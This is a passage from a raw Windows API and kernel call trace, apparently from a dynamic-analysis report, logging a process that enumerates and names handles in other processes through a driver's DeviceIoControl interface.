PsAcquireProcessExitSynchronization () returned 0x0 [0134.924] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.924] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0004cdd40, HandleInformation=0x0) returned 0x0 [0134.924] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.924] PsReleaseProcessExitSynchronization () returned 0x2 [0134.924] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.924] ObQueryNameString (in: Object=0xfffff8a0004cdd40, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.924] ObfDereferenceObject (Object=0xfffff8a0004cdd40) returned 0x8d [0134.924] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.924] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.924] CloseHandle (hObject=0xc4) returned 1 [0134.924] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x594) returned 0xc4 [0134.924] GetCurrentProcess () returned 0xffffffffffffffff [0134.924] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x98, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0134.925] CloseHandle (hObject=0xc4) returned 1 [0134.925] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.931] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x354c50 [0134.931] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.931] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.931] NtQueryInformationProcess (in: ProcessHandle=0xc0, ProcessInformationClass=0x0, ProcessInformation=0x12d538, ProcessInformationLength=0x30, ReturnLength=0x12d4b0 | out: ProcessInformation=0x12d538, ReturnLength=0x12d4b0) returned 0xc0000022 [0134.931] CloseHandle (hObject=0xc0) returned 1 [0134.931] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x594) returned 0xc0 [0134.931] GetCurrentProcess () returned 0xffffffffffffffff [0134.931] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0134.932] CloseHandle (hObject=0xc0) returned 1 [0134.932] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.932] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x80) returned 0x36cb50 [0134.932] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x36cb50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x36cb50, ReturnLength=0x0) returned 0x0 [0134.932] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36cb50 | out: hHeap=0x330000) returned 1 [0134.932] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.932] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.932] PsLookupProcessByProcessId (in: ProcessId=0x594, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.932] PsAcquireProcessExitSynchronization () returned 0x0 [0134.932] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880054735d0) [0134.932] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80025cb640, HandleInformation=0x0) returned 0x0 [0134.932] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.932] PsReleaseProcessExitSynchronization () returned 0x2 [0134.932] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x1a [0134.932] ObQueryNameString (in: Object=0xfffffa80025cb640, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.932] ObfDereferenceObject (Object=0xfffffa80025cb640) returned 0x2 [0134.932] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.932] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.932] CloseHandle (hObject=0xc4) returned 1 [0134.932] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc78) returned 0xc4 [0134.932] GetCurrentProcess () returned 0xffffffffffffffff [0134.932] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xe8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0134.932] CloseHandle (hObject=0xc4) returned 1 [0134.932] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.932] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x354c50 [0134.932] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.932] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.932] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.932] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0134.932] PsLookupProcessByProcessId (in: ProcessId=0xc78, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.932] PsAcquireProcessExitSynchronization () returned 0x0 [0134.932] KeStackAttachProcess (in: PROCESS=0xfffffa800391c060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800391c060, ApcState=0xfffff880054735d0) [0134.933] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0134.933] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.933] PsReleaseProcessExitSynchronization () returned 0x2 [0134.933] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0x2d [0134.933] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.933] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2a [0134.933] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.933] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.933] CloseHandle (hObject=0xc0) returned 1 [0134.933] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0134.933] GetCurrentProcess () returned 0xffffffffffffffff [0134.933] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x1d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0134.933] CloseHandle (hObject=0xc0) returned 1 [0134.933] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.933] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x354c50 [0134.933] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.933] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.933] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.933] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.933] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.933] PsAcquireProcessExitSynchronization () returned 0x0 [0134.933] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0) [0134.933] ObReferenceObjectByHandle (in: Handle=0x1d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800216f060, HandleInformation=0x0) returned 0x0 [0134.933] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.933] PsReleaseProcessExitSynchronization () returned 0x2 [0134.933] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0134.933] ObQueryNameString (in: Object=0xfffffa800216f060, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.933] ObfDereferenceObject (Object=0xfffffa800216f060) returned 0x2 [0134.933] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.933] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.933] CloseHandle (hObject=0xc4) returned 1 [0134.934] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0134.934] GetCurrentProcess () returned 0xffffffffffffffff [0134.934] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x454, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0134.934] CloseHandle (hObject=0xc4) returned 1 [0134.934] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x88) returned 0x36cb50 [0134.934] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x36cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x36cb50*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0134.934] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054735a8 | out: Process=0xfffff880054735a8) returned 0x0 [0134.934] PsAcquireProcessExitSynchronization () returned 0x0 [0134.934] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735c8 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735c8) [0134.934] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff880054735b0, HandleInformation=0x0 | out: Object=0xfffff880054735b0*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0134.934] PsReleaseProcessExitSynchronization () returned 0x2 [0134.934] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0134.934] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880054735a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880054735a4) returned 0xc0000004 [0134.934] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a003946880 [0134.934] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a003946880, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a003946880, ReturnLength=0x0) returned 0x0 [0134.934] ExFreePoolWithTag (P=0xfffff8a003946880, Tag=0x0) [0134.934] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0134.934] KeUnstackDetachProcess (ApcState=0xfffff880054735c8) [0134.934] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.934] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36cb50 | out: hHeap=0x330000) returned 1 [0134.934] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.934] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.934] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.934] PsAcquireProcessExitSynchronization () returned 0x0 [0134.934] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0134.934] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0134.934] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.934] PsReleaseProcessExitSynchronization () returned 0x2 [0134.934] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0134.934] ObQueryNameString (in: Object=0xfffffa8001a2d420, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.934] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0134.934] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.934] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.935] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0134.935] GetCurrentProcess () returned 0xffffffffffffffff [0134.935] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x34, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0134.935] CloseHandle (hObject=0xc4) returned 1 [0134.935] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.935] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x354c50 [0134.935] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.938] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.938] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0134.938] GetCurrentProcess () returned 0xffffffffffffffff [0134.938] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x34, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x8, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0134.938] CloseHandle (hObject=0xc4) returned 1 [0134.938] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12dbc0, TokenInformationLength=0x800, ReturnLength=0x12d4b4 | out: TokenInformation=0x12dbc0, ReturnLength=0x12d4b4) returned 1 [0134.938] LookupAccountSidW (in: lpSystemName="", Sid=0x12dbd0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12d9b0, cchName=0x12d4bc, ReferencedDomainName=0x12d7a0, cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8 | out: Name="SYSTEM", cchName=0x12d4bc, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8) returned 1 [0134.945] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0xa, TokenInformation=0x12d568, TokenInformationLength=0x38, ReturnLength=0x12d4b4 | out: TokenInformation=0x12d568, ReturnLength=0x12d4b4) returned 1 [0134.945] GetLastError () returned 0x32 [0134.945] SetLastError (dwErrCode=0x32) [0134.945] GetLastError () returned 0x32 [0134.945] SetLastError (dwErrCode=0x32) [0134.945] CloseHandle (hObject=0xc8) returned 1 [0134.945] CloseHandle (hObject=0xc0) returned 1 [0134.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0134.945] GetCurrentProcess () returned 0xffffffffffffffff [0134.945] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x150, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0134.945] CloseHandle (hObject=0xc0) returned 1 [0134.945] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x88) returned 0x36cb50 [0134.945] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x36cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x36cb50*, lpBytesReturned=0x12d450*=0x1c, lpOverlapped=0x0) returned 1 [0134.945] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054735a8 | out: Process=0xfffff880054735a8) returned 0x0 [0134.945] PsAcquireProcessExitSynchronization () returned 0x0 [0134.946] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735c8 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735c8) [0134.946] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff880054735b0, HandleInformation=0x0 | out: Object=0xfffff880054735b0*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0134.946] PsReleaseProcessExitSynchronization () returned 0x2 [0134.946] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0134.946] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880054735a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880054735a4) returned 0xc0000004 [0134.946] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a003946880 [0134.946] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a003946880, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a003946880, ReturnLength=0x0) returned 0x0 [0134.946] ExFreePoolWithTag (P=0xfffff8a003946880, Tag=0x0) [0134.946] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0134.946] KeUnstackDetachProcess (ApcState=0xfffff880054735c8) [0134.946] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.946] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36cb50 | out: hHeap=0x330000) returned 1 [0134.946] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.946] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.946] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.946] PsAcquireProcessExitSynchronization () returned 0x0 [0134.946] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0134.946] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0134.946] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.946] PsReleaseProcessExitSynchronization () returned 0x2 [0134.946] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0134.946] ObQueryNameString (in: Object=0xfffff8a0015fb200, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.946] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0134.946] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.946] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0134.946] GetCurrentProcess () returned 0xffffffffffffffff [0134.946] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x200, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0134.946] CloseHandle (hObject=0xc0) returned 1 [0134.946] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x88) returned 0x36cb50 [0134.946] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x36cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x36cb50*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0134.947] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880054735a8 | out: Process=0xfffff880054735a8) returned 0x0 [0134.947] PsAcquireProcessExitSynchronization () returned 0x0 [0134.947] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735c8 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735c8) [0134.947] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff880054735b0, HandleInformation=0x0 | out: Object=0xfffff880054735b0*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0134.947] PsReleaseProcessExitSynchronization () returned 0x2 [0134.947] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0134.947] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880054735a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880054735a4) returned 0xc0000004 [0134.947] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a0025628c0 [0134.947] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a0025628c0, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a0025628c0, ReturnLength=0x0) returned 0x0 [0134.947] ExFreePoolWithTag (P=0xfffff8a0025628c0, Tag=0x0) [0134.947] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0134.947] KeUnstackDetachProcess (ApcState=0xfffff880054735c8) [0134.947] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.947] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36cb50 | out: hHeap=0x330000) returned 1 [0134.947] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.947] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.947] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.947] PsAcquireProcessExitSynchronization () returned 0x0 [0134.947] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0) [0134.947] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0134.947] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.947] PsReleaseProcessExitSynchronization () returned 0x2 [0134.947] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0134.947] ObQueryNameString (in: Object=0xfffffa8003477400, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.947] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0134.947] IofCompleteRequest 